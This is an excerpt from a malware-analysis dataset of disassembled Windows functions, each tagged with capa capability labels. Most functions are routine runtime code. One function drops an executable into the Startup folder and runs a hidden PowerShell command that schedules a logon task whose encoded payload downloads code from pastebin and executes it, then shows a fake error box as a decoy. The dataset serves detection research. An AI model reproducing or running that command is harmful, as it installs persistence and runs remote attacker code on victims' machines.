joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100092578
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
push r15
mov rdx, qword [rcx]
mov rax, qword [rcx + 8]
mov rsi, rcx
mov edi, dword [rdx + 0x8c]
mov rbx, qword [rdx + 0x28]
mov rbp, qword [rax + 0x28]
imul edi, dword [rdx + 0x80]
add rdi, rbx
jmp 0x10009268e
mov r12d, dword [rdx + 0x88]
mov r13d, dword [rdx + 0x80]
mov r15, rbp
add r12, rbx
add r13, rbx
mov r14, rbx
cmp rbx, r12
jae 0x100092674
movzx r8d, byte [r13]
movzx r10d, byte [r14]
movzx r9d, byte [r14 + 1]
movzx r11d, byte [r13 + 1]
mov edx, 0xe3
mov ecx, r10d
and ecx, edx
mov eax, r8d
add r14, 2
and eax, edx
add r13, 2
add ecx, eax
mov eax, r9d
and eax, edx
add ecx, eax
mov eax, r11d
and eax, edx
lea edx, [rcx + rax + 0x42]
mov ecx, r10d
mov eax, r8d
and eax, 0x1c
and ecx, 0x1c
shr edx, 2
add ecx, eax
mov eax, r9d
and eax, 0x1c
add ecx, eax
mov eax, r11d
and eax, 0x1c
lea ecx, [rcx + rax + 8]
mov eax, 0xe3
and r10d, eax
and r8d, eax
and r9d, eax
and r11d, eax
add r10d, r8d
shr ecx, 2
xor dl, cl
add r10d, r9d
and dl, 0x1c
lea eax, [r10 + r11 + 0x42]
shr eax, 2
xor dl, al
mov byte [r15], dl
inc r15
cmp r14, r12
jb 0x1000925dd
mov rax, qword [rsi + 8]
mov rdx, qword [rsi]
mov ecx, dword [rax + 0x80]
mov eax, dword [rdx + 0x80]
lea rbx, [rbx + rax*2]
add rbp, rcx
cmp rbx, rdi
jb 0x1000925ba
mov rbx, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
xor eax, eax
pop r15
pop r14
pop r13
pop r12
ret
Function at 0x100092774
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov qword [rax + 8], rcx
push rdi
push r12
push r13
push r14
push r15
mov rdx, qword [rcx]
mov rax, qword [rcx + 8]
mov rsi, rcx
mov edi, dword [rdx + 0x8c]
mov rbx, qword [rdx + 0x28]
mov rbp, qword [rax + 0x28]
imul edi, dword [rdx + 0x80]
add rdi, rbx
jmp 0x1000928a4
mov eax, dword [rdx + 0x88]
mov r12d, dword [rdx + 0x80]
mov r15, rbp
lea r13, [rbx + rax*2]
add r12, rbx
mov r14, rbx
cmp rbx, r13
jae 0x10009288a
mov esi, 0xe3
movzx r8d, word [r12]
movzx r10d, word [r14]
movzx r9d, word [r14 + 2]
movzx r11d, word [r12 + 2]
mov ecx, r10d
mov eax, r8d
and eax, esi
and ecx, esi
add r14, 4
add ecx, eax
mov eax, r9d
add r12, 4
and eax, esi
add ecx, eax
mov eax, r11d
and eax, esi
lea edx, [rcx + rax + 0x42]
mov ecx, r10d
mov eax, r8d
and eax, 0xff1c
and ecx, 0xff1c
shr edx, 2
add ecx, eax
mov eax, r9d
and eax, 0xff1c
add ecx, eax
mov eax, r11d
and eax, 0xff1c
lea ecx, [rcx + rax + 0x208]
mov eax, 0xff1c
and r10d, eax
and r8d, eax
and r9d, eax
and r11d, eax
add r10d, r8d
shr ecx, 2
xor dx, cx
add r10d, r9d
and dx, si
lea eax, [r10 + r11 + 0x208]
shr eax, 2
xor dx, ax
mov word [r15], dx
add r15, 2
cmp r14, r13
jb 0x1000927df
mov rsi, qword [rsp + 0x30]
mov rax, qword [rsi + 8]
mov rdx, qword [rsi]
mov ecx, dword [rax + 0x80]
mov eax, dword [rdx + 0x80]
lea rbx, [rbx + rax*2]
add rbp, rcx
cmp rbx, rdi
jb 0x1000927b7
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
xor eax, eax
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1000929fc
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
push r15
mov rdx, qword [rcx]
mov rax, qword [rcx + 8]
mov rdi, rcx
mov esi, dword [rdx + 0x8c]
mov rbx, qword [rdx + 0x28]
mov rbp, qword [rax + 0x28]
imul esi, dword [rdx + 0x80]
add rsi, rbx
jmp 0x100092b22
mov eax, dword [rdx + 0x88]
mov r12d, dword [rdx + 0x80]
mov r15, rbp
lea r13, [rbx + rax*2]
add r12, rbx
mov r14, rbx
cmp rbx, r13
jae 0x100092b08
movzx r8d, word [r12]
movzx r10d, word [r14]
movzx r9d, word [r14 + 2]
movzx r11d, word [r12 + 2]
movzx ecx, r10b
movzx eax, r8b
add ecx, eax
movzx eax, r9b
add r14, 4
add ecx, eax
movzx eax, r11b
add r12, 4
lea edx, [rcx + rax + 2]
mov ecx, r10d
mov eax, r8d
and eax, 0xff00
and ecx, 0xff00
shr edx, 2
add ecx, eax
mov eax, r9d
and eax, 0xff00
add ecx, eax
mov eax, r11d
and eax, 0xff00
lea ecx, [rcx + rax + 0x200]
mov eax, 0xff
shr ecx, 2
xor dx, cx
and dx, ax
mov eax, 0xff00
and r10d, eax
and r8d, eax
and r9d, eax
and r11d, eax
add r10d, r8d
add r10d, r9d
lea eax, [r10 + r11 + 0x200]
shr eax, 2
xor dx, ax
mov word [r15], dx
add r15, 2
cmp r14, r13
jb 0x100092a61
mov rax, qword [rdi + 8]
mov rdx, qword [rdi]
mov ecx, dword [rax + 0x80]
mov eax, dword [rdx + 0x80]
lea rbx, [rbx + rax*2]
add rbp, rcx
cmp rbx, rsi
jb 0x100092a3e
mov rbx, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
xor eax, eax
pop r15
pop r14
pop r13
pop r12
ret

Function at 0x100092b50
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
push r15
mov rdx, qword [rcx]
mov rax, qword [rcx + 8]
mov rsi, rcx
mov edi, dword [rdx + 0x8c]
mov rbx, qword [rdx + 0x28]
mov rbp, qword [rax + 0x28]
imul edi, dword [rdx + 0x80]
add rdi, rbx
jmp 0x100092c66
mov r12d, dword [rdx + 0x88]
mov r13d, dword [rdx + 0x80]
mov r15, rbp
add r12, rbx
add r13, rbx
mov r14, rbx
cmp rbx, r12
jae 0x100092c4c
movzx r8d, byte [r13]
movzx r10d, byte [r14]
movzx r9d, byte [r14 + 1]
movzx r11d, byte [r13 + 1]
mov edx, 0xf0
mov ecx, r10d
and ecx, edx
mov eax, r8d
add r14, 2
and eax, edx
add r13, 2
add ecx, eax
mov eax, r9d
and eax, edx
add ecx, eax
mov eax, r11d
and eax, edx
lea edx, [rcx + rax + 0x20]
mov ecx, r10d
mov eax, r8d
and eax, 0xf
and ecx, 0xf
shr edx, 2
add ecx, eax
mov eax, r9d
and eax, 0xf
add ecx, eax
mov eax, r11d
and eax, 0xf
lea ecx, [rcx + rax + 2]
mov eax, 0xf0
and r10d, eax
and r8d, eax
and r9d, eax
and r11d, eax
add r10d, r8d
shr ecx, 2
xor dl, cl
add r10d, r9d
and dl, 0xf
lea eax, [r10 + r11 + 0x20]
shr eax, 2
xor dl, al
mov byte [r15], dl
inc r15
cmp r14, r12
jb 0x100092bb5
mov rax, qword [rsi + 8]
mov rdx, qword [rsi]
mov ecx, dword [rax + 0x80]
mov eax, dword [rdx + 0x80]
lea rbx, [rbx + rax*2]
add rbp, rcx
cmp rbx, rdi
jb 0x100092b92
mov rbx, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
xor eax, eax
pop r15
pop r14
pop r13
pop r12
ret
Function at 0x100092c94
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, r8
lea rax, [r11 + 0x20]
lea r9, [r11 - 0x18]
mov qword [r11 - 0x20], rax
mov qword [r11 - 0x28], rdx
mov rdx, rcx
mov rcx, qword [rdi]
xor r8d, r8d
mov dword [rsp + 0x68], 4
call qword [sym.imp.KERNEL32.dll_RegQueryValueExA]
mov rcx, qword [rdi]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_RegCloseKey]
xor eax, eax
cmp ebx, eax
jne 0x100092ce7
cmp dword [rsp + 0x30], 4
jne 0x100092ce7
mov eax, 1
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x10009d794
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rsi
mov qword [rsp + 0x10], rdi
push r12
sub rsp, 0xb0
and dword [rsp + 0x20], 0
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x1000b7968], rdi
je 0x10009d7ed
cmp rax, rdi
jne 0x10009d7e0
mov esi, 1
jmp 0x10009d7ed
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10009d7c7
mov eax, dword [0x1000b7960]
cmp eax, 1
jne 0x10009d802
lea ecx, [rax + 0x1e]
call sub.msvcrt.dll__amsg_exit
jmp 0x10009d867
mov eax, dword [0x1000b7960]
test eax, eax
jne 0x10009d85d
mov dword [0x1000b7960], 1
lea r12, [0x100002000]
lea rdi, [0x100001fe8]
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], eax
cmp rdi, r12
jae 0x10009d84f
test eax, eax
jne 0x10009d84f
mov rcx, qword [rdi]
test rcx, rcx
je 0x10009d844
call rcx
mov dword [rsp + 0x30], eax
add rdi, 8
mov qword [rsp + 0x38], rdi
jmp 0x10009d82d
test eax, eax
je 0x10009d867
mov eax, 0xff
jmp 0x10009d9b1
mov dword [0x1000b3174], 1
mov eax, dword [0x1000b7960]
cmp eax, 1
jne 0x10009d88f
lea rdx, [0x100001fe0]
lea rcx, [0x100001e40]
call sub.msvcrt.dll__initterm
mov dword [0x1000b7960], 2
test esi, esi
jne 0x10009d89c
xor eax, eax
xchg qword [0x1000b7968], rax
cmp qword [0x1000b7980], 0
je 0x10009d8c5
lea rcx, [0x1000b7980]
call fcn.10009dd9c
test eax, eax
je 0x10009d8c5
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x1000b7980]
mov rax, qword [sym.imp.msvcrt.dll__acmdln]
mov rdi, qword [rax]
mov qword [rsp + 0x28], rdi
mov esi, dword [rsp + 0x20]
cmp byte [rdi], 0x20
ja 0x10009d950
cmp byte [rdi], 0
je 0x10009d8e6
test esi, esi
jne 0x10009d950
cmp byte [rdi], 0
je 0x10009d8fa
cmp byte [rdi], 0x20
ja 0x10009d8fa
inc rdi
mov qword [rsp + 0x28], rdi
jmp 0x10009d8e6
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rdi
xor edx, edx
lea rcx, [0x100000000]
call fcn.10003004c
mov dword [0x1000b3170], eax
cmp dword [0x1000b3154], 0
jne 0x10009d939
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1000b3174], 0
jne 0x10009d94e
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1000b3170]
jmp 0x10009d9b1
cmp byte [rdi], 0x22
jne 0x10009d962
xor eax, eax
test esi, esi
sete al
mov esi, eax
mov dword [rsp + 0x20], eax
movzx ecx, byte [rdi]
call qword [sym.imp.msvcrt.dll__ismbblead]
test eax, eax
je 0x10009d977
inc rdi
mov qword [rsp + 0x28], rdi
inc rdi
mov qword [rsp + 0x28], rdi
jmp 0x10009d8d8
lea r11, [rsp + 0xb0]
mov rsi, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop r12
ret
sub rsp, 0x28
call fcn.10009dea4
add rsp, 0x28
jmp 0x10009d794
Function at 0x10009dad0
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1000aa140]
jne 0x10009daeb
rol rcx, 0x10
test cx, 0xffff
jne 0x10009dae7
ret 0
ror rcx, 0x10
jmp 0x10009df60
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1000b3230]
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
mov r11, qword [0x1000b3328]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.ntdll.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x10009dfe5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1000b3230]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.ntdll.dll_RtlVirtualUnwind
jmp 0x10009e007
mov rax, qword [rsp + 0x88]
mov qword [0x1000b3328], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1000b32c8], rax
mov rax, qword [0x1000b3328]
mov qword [0x1000b31a0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1000b32b0], rax
mov dword [0x1000b3190], 0xc0000409
mov dword [0x1000b3194], 1
mov rax, qword [0x1000aa140]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1000aa148]
mov qword [rsp + 0x70], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x100002050]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x10009ddfc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x10009de49
cmp rcx, 0xffffffffffffffff
je 0x10009de49
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x10009de41
cmp dword [rcx + 0x3c], edx
jl 0x10009de41
cmp dword [rcx + 0x3c], 0x10000000
jae 0x10009de41
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x10009de49
mov rax, rdx
add rsp, 0x18
ret
Function at 0x10009e1f0
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xd0
mov rax, qword [0x1000aa140]
xor rax, rsp
mov qword [rsp + 0xc0], rax
xor edx, edx
mov rbx, rcx
lea r8d, [rdx + 0x28]
add rcx, r8
call sub.msvcrt.dll_memset
and qword [rbx + 0x50], 0
and dword [rbx + 0x58], 0
and dword [rbx + 0x5c], 0
lea rax, [0x100000000]
mov esi, 0x94
lea rcx, [rsp + 0x20]
mov r8, rsi
xor edx, edx
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], rax
mov dword [rbx], 0x60
mov byte [rbx + 0x18], 0
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [rsp + 0x30], 2
mov esi, 1
jne 0x10009e283
cmp dword [rsp + 0x24], 5
jb 0x10009e29d
jmp 0x10009e299
cmp dword [rsp + 0x30], esi
jne 0x10009e29d
cmp dword [rsp + 0x24], 4
ja 0x10009e299
jne 0x10009e29d
cmp dword [rsp + 0x28], 0
jbe 0x10009e29d
mov byte [rbx + 0x18], sil
lea rax, [0x100002080]
lea rcx, [rbx + 0x28]
mov dword [rbx + 0x1c], 0x800
mov qword [rbx + 0x20], rax
call fcn.10009e0d0
movzx ecx, byte [0x1000b69c8]
test eax, eax
mov rax, rbx
cmovs ecx, esi
mov byte [0x1000b69c8], cl
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.10009dad0
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x10009e548
Capabilities:
Print debug messages

Disassembly:
push rbx
sub rsp, 0x530
lea rcx, [rsp + 0x60]
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
mov rbx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x10009e5b3
and qword [rsp + 0x38], 0
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x50]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov r8, rbx
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlVirtualUnwind]
jmp 0x10009e5d3
mov rax, qword [rsp + 0x538]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x538]
mov qword [rsp + 0xf8], rax
lea rcx, [0x100002108]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add rsp, 0x530
pop rbx
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [str.x__t_]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [str.t__t_]
mov dword [rax], 1
mov rax, qword [str.p__t_]
mov dword [rax], 1
mov rax, qword [str.P__t_]
mov dword [rax], 1
mov rax, qword [0x14008f8e0]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x14008fa10]
mov dword [0x14009200c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x1400010c0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14008f9d0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14008f9b0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14008f890]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067

Function at 0x14000159a
Capabilities:
Execute command
Query environment variable
Schedule task via schtasks
Write and execute a file
Write file on windows

Disassembly:
push rbp
sub rsp, 0x240
lea rbp, [rsp + 0x80]
call dbg.__main
lea rcx, str.APPDATA
call sym.getenv
mov qword [rbp + 0x1b8], rax
cmp qword [rbp + 0x1b8], 0
jne 0x1400015d6
mov eax, 1
jmp 0x1400016a6
mov rdx, qword [rbp + 0x1b8]
lea rax, [rbp - 0x60]
mov r9, rdx
lea r8, str._sMicrosoftWindowsStart_MenuProgramsStartupStartupManager.exe
mov edx, 0x200
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x60]
lea rdx, [0x14008f04c]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x1b0], rax
cmp qword [rbp + 0x1b0], 0
jne 0x140001626
mov eax, 1
jmp 0x1400016a6
mov eax, dword [0x14008ee60]
mov edx, eax
mov rax, qword [rbp + 0x1b0]
mov r9, rax
mov r8, rdx
mov edx, 1
lea rcx, [0x140008020]
call sym.fwrite
mov qword [rbp + 0x1a8], rax
mov eax, dword [0x14008ee60]
mov eax, eax
cmp qword [rbp + 0x1a8], rax
je 0x14000167a
mov rax, qword [rbp + 0x1b0]
mov rcx, rax
call sym.fclose
mov eax, 1
jmp 0x1400016a6
mov rax, qword [rbp + 0x1b0]
mov rcx, rax
call sym.fclose
lea rcx, str.powershell__WindowStyle_hidden__command_schtasks__create__tn__MyPowerShellTask___tr__powershell.exe__EncodedCommand_SW52b2tlLVJlc3RNZXRob2QgLVVyaSAiaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3R2azNqRjRuIiB8IEZvckVhY2gtT2JqZWN0IHsgSW52b2tlLUV4cHJlc3Npb24gJF8gfQ___sc_onlogon__ru___USERNAME__
call sym.system
lea rcx, str.powershell__command__Add_Type__AssemblyName_System.Windows.Forms___System.Windows.Forms.MessageBox_::Show_HWID_Error__Error__OK__Error__
call sym.system
mov eax, 0
add rsp, 0x240
pop rbp
ret
Function at 0x140001980
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x1400019f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x1400920a4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x140001ba0
mov rax, qword [0x1400920a8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x140001a3c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001ac7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x140001a20
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x140001bfd
mov rax, qword [0x1400920a8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400920a8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001be2
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001ac0
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001b50
add dword [0x1400920a4], 1
cmp ebx, 8
jae 0x140001af8
test bl, 4
jne 0x140001bb0
test ebx, ebx
je 0x140001ae9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x140001bd0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x140001ae9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x140001b2a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x1400920a8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001ac0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
xor edi, edi
jmp 0x140001a47
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x140001ae9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x140001ae9
mov rax, qword [0x1400920a8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop dword [rax]
Function at 0x140002110
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140092100]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400920e0]
test rbx, rbx
je 0x140002164
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000215b
test r12, r12
je 0x14000215b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002140
lea rcx, [0x140092100]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002390
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x1400023a0
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x1400023b0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x1400023f5
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x1400023ec
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x1400023f7
add rax, 0x28
cmp rax, r9
jne 0x1400023d8
xor eax, eax
ret

Function at 0x1400024a0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x14008f8e0]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x140002519
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x140002519
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x140002516
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x14000250d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x140002519
add r8, 0x28
cmp r8, r9
jne 0x1400024f8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x140002600
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x14008f8e0]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x14000266f
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x14000266f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x14000266d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002664
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002678
add rax, 0x28
cmp rax, r9
jne 0x140002650
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x140002690
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x14008f8e0]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x140002708
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x140002708
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x140002708
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
